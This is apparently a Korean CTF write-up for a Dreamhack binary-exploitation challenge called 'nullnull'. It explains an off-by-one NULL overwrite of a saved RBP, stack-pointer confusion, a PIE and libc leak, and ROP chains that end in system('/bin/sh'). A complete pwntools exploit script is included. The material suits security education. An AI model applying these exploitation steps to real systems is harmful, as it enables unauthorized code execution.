
CET는 고려하지 않고 풀이했다.
이 프로그램은 main에서 스택에 0x100 크기의 배열을 만들고 이를 sub_12F0 함수에 넘긴다.
sub_12F0 함수의 동작은 다음과 같다.
array[index] = valueprintf("%ld\n", array[index])취약점은 1번 메뉴에서 발생한다.
int sub_13BD()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF
if ( (unsigned int)__isoc99_scanf("%80s", s) != 1 )
_exit(1);
return puts(s);
}
앞으로 sub_12F0 함수는 loop 함수라고 하겠다.
buf의 크기는 80바이트이지만 %80s는 최대 80바이트를 입력받고 마지막에 \0을 붙이기 때문에 더미를 80바이트 넣으면 1바이트 오버플로우가 발생한다.
이 1바이트는 sub_13BD의 saved RBP 슬롯, 즉 caller인 loop 함수의 RBP 값 하위 1바이트를 널로 만든다.
그러면 sub_13BD 함수가 return할 때 하위 1바이트가 0x00으로 바뀌게 되고 나중에 지역 변수를 읽을 때 잘못된 위치를 읽게 된다.
그러면 스택에 남아 있던 다른 값들을 size, array로 착각하여 운이 좋다면 array 포인터가 스택을 가리키게 되어 2번과 3번 메뉴를 통해 스택에 임의로 쓰거나 읽을 수 있다!!
main_ret은 main에서 loop 호출 직후 주소이다. 디스어셈블 기준 해당 오프셋이 0x1249이므로 PIE base는 main_ret에서 0x1249를 빼면 된다.
또한 릭한 main_rbp를 기준으로 pivot 위치와 배열 주소를 계산할 수 있다.
pivot = main_rbp - 0x120
main_array = pivot + 0x20
0x20인 이유는 실제 배열이 main_rbp - 0x100에 있고 pivot은 main_rbp - 0x120이기 때문이다.
먼저 off-by-one NULL을 발생시킨다.
p.sendline(b'1')
p.sendline(b'A' * 80)
p.recvline()
p.sendline(b'3')
p.sendline(b'2')
main_rbp = int(p.recvline().strip())
print(f'main rbp = {hex(main_rbp)}')
p.sendline(b'3')
p.sendline(b'3')
main_ret = int(p.recvline().strip())
print(f'main_ret = {hex(main_ret)}')
pie_base = main_ret - 0x1249
pivot = main_rbp - 0x120
print(f'pie base = {hex(pie_base)}')
print(f'pivot = {hex(pivot)}')
이를 통해 main의 rbp와 ret을 릭하고 pivot 위치와 pie base 또한 구할 수 있고 pie base를 통해서 가젯과 함수 주소 또한 구할 수 있다.

이제 puts를 통해 libc base를 릭하는 ROP 체인을 구성한다. 현재 loop의 saved RIP 위치이기 때문에 index 3부터 작성해야한다.
또한 평소처럼 ROP체인을 뭉땡이로 박는 것이 아니라 이 프로그램의 쓰기가 2번 메뉴로 배열 원소 하나씩 8바이트를 쓰는 방식이기 때문에 끊어서 넣어야한다.
체인 구성은 다음과 같다.
idx3 = ret
idx4 = pop rdi; ret
idx5 = puts@got
idx6 = puts@plt
idx7 = pop rdi; ret
idx8 = 0x20
idx9 = pop rsi; pop r15; ret
idx10 = main_array
idx11 = 0
idx12 = loop
이 체인은 다음 동작을 한다.
puts(puts_got);
loop(0x20, main_array);
이것을 통해 puts의 libc 주소를 릭하고 loop 함수를 호출한다. 여기서 ret2main을 안하고 loop로 가는 이유는 main에서는 배열을 다시 초기화하기 때문에 loop로 돌아가는 것이다.
ret = pie_base + 0x000000000000101a
pop_rdi = pie_base + 0x00000000000014e3
pop_rsi_r15 = pie_base + 0x00000000000014e1
puts_plt = pie_base + e.plt['puts']
puts_got = pie_base + e.got['puts']
loop = pie_base + 0x12f0
main_array = pivot + 0x20
p.sendline(b'2')
p.sendline(b'3')
p.sendline(str(ret).encode())
p.sendline(b'2')
p.sendline(b'4')
p.sendline(str(pop_rdi).encode())
p.sendline(b'2')
p.sendline(b'5')
p.sendline(str(puts_got).encode())
p.sendline(b'2')
p.sendline(b'6')
p.sendline(str(puts_plt).encode())
p.sendline(b'2')
p.sendline(b'7')
p.sendline(str(pop_rdi).encode())
p.sendline(b'2')
p.sendline(b'8')
p.sendline(str(0x20).encode())
p.sendline(b'2')
p.sendline(b'9')
p.sendline(str(pop_rsi_r15).encode())
p.sendline(b'2')
p.sendline(b'10')
p.sendline(str(main_array).encode())
p.sendline(b'2')
p.sendline(b'11')
p.sendline(b'0')
p.sendline(b'2')
p.sendline(b'12')
p.sendline(str(loop).encode())
p.sendline(b'4')
이렇게되면 return하며 ROP 체인이 실행되고 libc base를 구할 수 있다.
leak = p.recvline()
puts = u64(leak.rstrip(b'\n').ljust(8, b'\x00'))
libc_base = puts - libc.sym['puts']
system = libc.sym['system'] + libc_base
binsh = next(libc.search(b'/bin/sh\x00')) + libc_base
print(f'libc base = {hex(libc_base)}')

구한 libc base를 통해 system과 /bin/sh의 주소 또한 구해준다.
재진입한 loop의 saved RIP는 main_array 기준 idx9기 때문에 여기부터 2차 ROP 페이로드를 작성하면 된다.
saved RIP = pivot + 0x68
main_array = pivot + 0x20
(saved RIP - main_array) / 8
= (0x68 - 0x20) / 8
= 9
체인 구성은 다음과 같다.
idx9 = ret
idx10 = pop rdi; ret
idx11 = "/bin/sh"
idx12 = system
p.sendline(b'2')
p.sendline(b'9')
p.sendline(str(ret).encode())
p.sendline(b'2')
p.sendline(b'10')
p.sendline(str(pop_rdi).encode())
p.sendline(b'2')
p.sendline(b'11')
p.sendline(str(binsh).encode())
p.sendline(b'2')
p.sendline(b'12')
p.sendline(str(system).encode())
이렇게 ROP 체인을 구성하고 4번을 입력하여 return하면 셸을 획득할 수 있다.
from pwn import *
p = process('./nullnull')
# p = remote('host8.dreamhack.games', 11966)
e = ELF('./nullnull')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc.so.6')
p.sendline(b'1')
p.sendline(b'A' * 80)
p.recvline()
p.sendline(b'3')
p.sendline(b'2')
main_rbp = int(p.recvline().strip())
print(f'main rbp = {hex(main_rbp)}')
p.sendline(b'3')
p.sendline(b'3')
main_ret = int(p.recvline().strip())
print(f'main_ret = {hex(main_ret)}')
pie_base = main_ret - 0x1249
pivot = main_rbp - 0x120
print(f'pie base = {hex(pie_base)}')
print(f'pivot = {hex(pivot)}')
ret = pie_base + 0x000000000000101a
pop_rdi = pie_base + 0x00000000000014e3
pop_rsi_r15 = pie_base + 0x00000000000014e1
puts_plt = pie_base + e.plt['puts']
puts_got = pie_base + e.got['puts']
loop = pie_base + 0x12f0
main_array = pivot + 0x20
p.sendline(b'2')
p.sendline(b'3')
p.sendline(str(ret).encode())
p.sendline(b'2')
p.sendline(b'4')
p.sendline(str(pop_rdi).encode())
p.sendline(b'2')
p.sendline(b'5')
p.sendline(str(puts_got).encode())
p.sendline(b'2')
p.sendline(b'6')
p.sendline(str(puts_plt).encode())
p.sendline(b'2')
p.sendline(b'7')
p.sendline(str(pop_rdi).encode())
p.sendline(b'2')
p.sendline(b'8')
p.sendline(str(0x20).encode())
p.sendline(b'2')
p.sendline(b'9')
p.sendline(str(pop_rsi_r15).encode())
p.sendline(b'2')
p.sendline(b'10')
p.sendline(str(main_array).encode())
p.sendline(b'2')
p.sendline(b'11')
p.sendline(b'0')
p.sendline(b'2')
p.sendline(b'12')
p.sendline(str(loop).encode())
p.sendline(b'4')
leak = p.recvline()
puts = u64(leak.rstrip(b'\n').ljust(8, b'\x00'))
libc_base = puts - libc.sym['puts']
system = libc.sym['system'] + libc_base
binsh = next(libc.search(b'/bin/sh\x00')) + libc_base
print(f'libc base = {hex(libc_base)}')
p.sendline(b'2')
p.sendline(b'9')
p.sendline(str(ret).encode())
p.sendline(b'2')
p.sendline(b'10')
p.sendline(str(pop_rdi).encode())
p.sendline(b'2')
p.sendline(b'11')
p.sendline(str(binsh).encode())
p.sendline(b'2')
p.sendline(b'12')
p.sendline(str(system).encode())
p.sendline(b'4')
p.interactive()

이렇게 플래그를 구했다
ASLR 때문에 한번에 성공하진 않고 한 16번정도 돌리면 운좋게 풀리는거같다
%80s로 인해 80바이트 버퍼 뒤의 saved RBP 하위 1바이트가 null로 덮이면서 loop의 rbp가 엉망이 되고 그 결과 array 포인터가 스택 쪽으로 오인하게 만들어 2번, 3번 메뉴를 통해 스택을 쓰고 읽을 수 있게 만들어 PIE와 libc를 leak하고 loop로 재진입하여 ROP를 실행하는 재미있는 문제였다.